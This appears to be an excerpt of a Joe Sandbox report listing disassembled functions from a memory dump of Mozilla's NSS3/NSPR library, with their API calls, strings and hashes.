Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 0ba7341346a926963af5e3f8012ea8064376743aa48afb75dabc1592ec0b1829
Instruction ID: 3d500d5e6b9490fa938aa893dd153e7860de064f637f439db48af1e7761f73d4
Opcode Fuzzy Hash: 0ba7341346a926963af5e3f8012ea8064376743aa48afb75dabc1592ec0b1829
Instruction Fuzzy Hash: 7A5132B1B08104EFDF086F28CD44A6637F1FB52359F65403AD904A37A2EF309854CB89

Function 6C574C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CB0
PR_Unlock.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574D97
PR_Lock.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574DBA
PR_WaitCondVar.NSS3 ref: 6C574DD4
PR_Unlock.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574DEF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 226f50d6ce71338b4dd510fe9795317110e75f725bed6a6519973a2af25678d9
Instruction ID: 8724a286485850a2ab0e915acbaa9705dc6036f157962aa3ab84648f0545e010
Opcode Fuzzy Hash: 226f50d6ce71338b4dd510fe9795317110e75f725bed6a6519973a2af25678d9
Instruction Fuzzy Hash: 87416AB5A04615CFCB10AF78C988559BBB4FF0A319B058A79D8889B750EB30D894CFD5

Function 6C618F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C618FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C618FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C618FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C619013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C619042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C61905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C619073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6190EC

Part of subcall function 6C5E0F00: PR_GetPageSize.NSS3(6C5E0936,FFFFE8AE,?,6C5716B7,00000000,?,6C5E0936,00000000,?,6C57204A), ref: 6C5E0F1B
Part of subcall function 6C5E0F00: PR_NewLogModule.NSS3(clock,6C5E0936,FFFFE8AE,?,6C5716B7,00000000,?,6C5E0936,00000000,?,6C57204A), ref: 6C5E0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C60DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C619111

Strings

npl, xrefs: 6C6190A3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: npl
API String ID: 2831689957-3390371981
Opcode ID: 46c34e740af67cd9b9cfa17493a446bcb7dd08224599188025db0e195d0a22b8
Instruction ID: 90588b0e123f8d84bf46167fcace548925d1b0b45c465c379383d0ccda1e8b58
Opcode Fuzzy Hash: 46c34e740af67cd9b9cfa17493a446bcb7dd08224599188025db0e195d0a22b8
Instruction Fuzzy Hash: 26519F74A086158FCF00EF38C488699BBF1BF4A319F4545B9DC449BB15EB31E884CB85

Function 6C707CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C707CE0

Part of subcall function 6C6B9BF0: TlsGetValue.KERNEL32(?,?,?,6C700A75), ref: 6C6B9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C707D36
PR_Realloc.NSS3(?,00000080), ref: 6C707D6D
PR_GetCurrentThread.NSS3 ref: 6C707D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C707DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C707DD8
malloc.MOZGLUE(00000080), ref: 6C707DF8
PR_GetCurrentThread.NSS3 ref: 6C707E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C707DF0
:%s:%d:0x%lx, xrefs: 6C707DB9

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 42a417f48f0d31e87d1e86caa28b9522574383ae978ee9ca03df1304d9d9240a
Instruction ID: 5eef795a0690047dfdf6e3c36d026e4d1347cbd4b08dd5899cdbd489fa3ab7b7
Opcode Fuzzy Hash: 42a417f48f0d31e87d1e86caa28b9522574383ae978ee9ca03df1304d9d9240a
Instruction Fuzzy Hash: 5941D0F1A002019FDB04CF28CE85AAB37FAFF85318B25456DE8198BB51D731E911CBA5

Function 6C707E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C707E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C707E46

Part of subcall function 6C5E1240: TlsGetValue.KERNEL32(00000040,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E1267
Part of subcall function 6C5E1240: EnterCriticalSection.KERNEL32(?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E127C
Part of subcall function 6C5E1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E1291
Part of subcall function 6C5E1240: PR_Unlock.NSS3(?,?,?,?,6C5E116C,NSPR_LOG_MODULES), ref: 6C5E12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C707EAF
PR_ImportFile.NSS3(?), ref: 6C707ECF
PR_GetCurrentThread.NSS3 ref: 6C707ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C707F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C707F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C707F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C707E41
%d:0x%lx, xrefs: 6C707EA9

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 38232e570202c9c9d302e2269bfbb134c45c80905f86facbfaaebec5f0a9c5a1
Instruction ID: 73702742617069a4dc17e1e26b5c14bad37c8ec55582e298ad94f663b61082b5
Opcode Fuzzy Hash: 38232e570202c9c9d302e2269bfbb134c45c80905f86facbfaaebec5f0a9c5a1
Instruction Fuzzy Hash: 463141B1B051198BEB009B69CE80AABB7ECFB46348F244535D805A7B12E7719D09C792

Function 6C614E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C614E90
EnterCriticalSection.KERNEL32 ref: 6C614EA9
TlsGetValue.KERNEL32 ref: 6C614EC6
EnterCriticalSection.KERNEL32 ref: 6C614EDF
PL_HashTableLookup.NSS3 ref: 6C614EF8
PR_Unlock.NSS3 ref: 6C614F05
PR_Now.NSS3 ref: 6C614F13
PR_Unlock.NSS3 ref: 6C614F3A

Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07AD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07CD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07D6
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C57204A), ref: 6C5E07E4
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,6C57204A), ref: 6C5E0864
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5E0880
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,6C57204A), ref: 6C5E08CB
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08D7
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08FB

Strings

bUal, xrefs: 6C614F3F
bUal, xrefs: 6C614E5C

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUal$bUal
API String ID: 326028414-743892444
Opcode ID: fa7ecc10dd1d03e418424df8c22193a486505d4dc9f6057ee8020376b603bb51
Instruction ID: a42e3d047deedf7a954583466dc2642d5c790f6a777731c42c1277659975be74
Opcode Fuzzy Hash: fa7ecc10dd1d03e418424df8c22193a486505d4dc9f6057ee8020376b603bb51
Instruction Fuzzy Hash: 75414AB4A04605DFCB00EF78C4848AABBF0FF89319B018569EC999B711EB30E855CF95

Function 6C626C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C626C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C626C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C626CA3

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C626CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C626CD5

Strings

npl, xrefs: 6C626CF4, 6C626D1F
pMechanism = 0x%p, xrefs: 6C626CD0
(CK_INVALID_HANDLE), xrefs: 6C626C9C
C_DigestInit, xrefs: 6C626C61
hSession = 0x%x, xrefs: 6C626C7E, 6C626C8E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$npl
API String ID: 1003633598-1410796035
Opcode ID: 694a7cdfcaafbbd4f4e2676a9bacf95692218d7800809307379be3f28c7aa35c
Instruction ID: 1da4517cb01231ad7666ab914141cd9c183b5ca8b02000481de9eefa3bae8aef
Opcode Fuzzy Hash: 694a7cdfcaafbbd4f4e2676a9bacf95692218d7800809307379be3f28c7aa35c
Instruction Fuzzy Hash: 7B21E471B011449BDB00AF559E8DF9B7BB5EB8631CF884035E80997B11DF38D908CB9A

Function 6C629DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C629DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C629E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C629E33

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C629E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C629E65

Strings

npl, xrefs: 6C629E7D, 6C629EA8
(CK_INVALID_HANDLE), xrefs: 6C629E2C
C_SessionCancel, xrefs: 6C629DF1
hSession = 0x%x, xrefs: 6C629E0E, 6C629E1E
flags = 0x%x, xrefs: 6C629E60

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$npl
API String ID: 1003633598-3878701695
Opcode ID: 60cc3b8906f6c7802b1cfd33751d2743c781f31d291bde2c5098bfa720737072
Instruction ID: 088f8cc663c451c06f6d6790488a0d49e6d2e1616a61c18a9cde46f606d9119a
Opcode Fuzzy Hash: 60cc3b8906f6c7802b1cfd33751d2743c781f31d291bde2c5098bfa720737072
Instruction Fuzzy Hash: D621E4B16012049FE7009F54DD8CBAB77B5AF8631DF884035E809A7B11DF349D49CBAA

Function 6C63ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C63DE64), ref: 6C63ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63ED22

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

PL_FreeArenaPool.NSS3(?), ref: 6C63ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C63ED6B
PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C63ED38

Part of subcall function 6C574C70: TlsGetValue.KERNEL32(?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574C97
Part of subcall function 6C574C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CB0
Part of subcall function 6C574C70: PR_Unlock.NSS3(?,?,?,?,?,6C573921,6C7514E4,6C6BCC70), ref: 6C574CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C63ED52
PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C63ED83
PL_FreeArenaPool.NSS3(?), ref: 6C63ED95
PL_FinishArenaPool.NSS3(?), ref: 6C63ED9D

Part of subcall function 6C6564F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C65127C,00000000,00000000,00000000), ref: 6C65650E

Strings

security, xrefs: 6C63ED06

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: d963e470af0d74aac54a3da3be024b0f251a3cf939981c1a8a63696a1a258fc4
Instruction ID: 28b6f300d21f27ecd1acb08fed6d0bd82662fc6c81a31bc60e21c14da027c988
Opcode Fuzzy Hash: d963e470af0d74aac54a3da3be024b0f251a3cf939981c1a8a63696a1a258fc4
Instruction Fuzzy Hash: BA1108759002146BE7115A25AC44BBB72B8AF4270CF906525E81962F41FB25AA28C6FE

Function 6C700EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C5E2357), ref: 6C700EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C5E2357), ref: 6C700EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C700EE6

Part of subcall function 6C7009D0: PR_Now.NSS3 ref: 6C700A22
Part of subcall function 6C7009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C700A35
Part of subcall function 6C7009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C700A66
Part of subcall function 6C7009D0: PR_GetCurrentThread.NSS3 ref: 6C700A70
Part of subcall function 6C7009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C700A9D
Part of subcall function 6C7009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C700AC8
Part of subcall function 6C7009D0: PR_vsmprintf.NSS3(?,?), ref: 6C700AE8
Part of subcall function 6C7009D0: EnterCriticalSection.KERNEL32(?), ref: 6C700B19
Part of subcall function 6C7009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C700B48
Part of subcall function 6C7009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C700C76
Part of subcall function 6C7009D0: PR_LogFlush.NSS3 ref: 6C700C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C700EFA

Part of subcall function 6C5EAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C5EAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C700F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C700F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C700F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C700F2B

Strings

Aborting, xrefs: 6C700EB3
Assertion failure: %s, at %s:%d, xrefs: 6C700ED9, 6C700EE5, 6C700F06, 6C700F0B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 02b4537bcd802e71b0cc266e67b22916ab470b62cffb780fb6d11d3e3bfff6aa
Instruction ID: 42b28dbc9c2321c7b06f942fc608a38305068cf3ab241b208dc03a3fd1d8405c
Opcode Fuzzy Hash: 02b4537bcd802e71b0cc266e67b22916ab470b62cffb780fb6d11d3e3bfff6aa
Instruction Fuzzy Hash: 74F0AFF59001147BEB003B609C4EC9B3E3DDF86279F048035FD0956602DA36E9189AF2

Function 6C664DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C664DCB

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C664DE1

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C664DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C664E59

Part of subcall function 6C64FAB0: free.MOZGLUE(?,-00000001,?,?,6C5EF673,00000000,00000000), ref: 6C64FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C72300C,00000000), ref: 6C664EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C664EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C664F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C66521A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 82d32b778d419664eb344b7cbc8c9486144cf9f2b84814d2380c7fb90b908e52
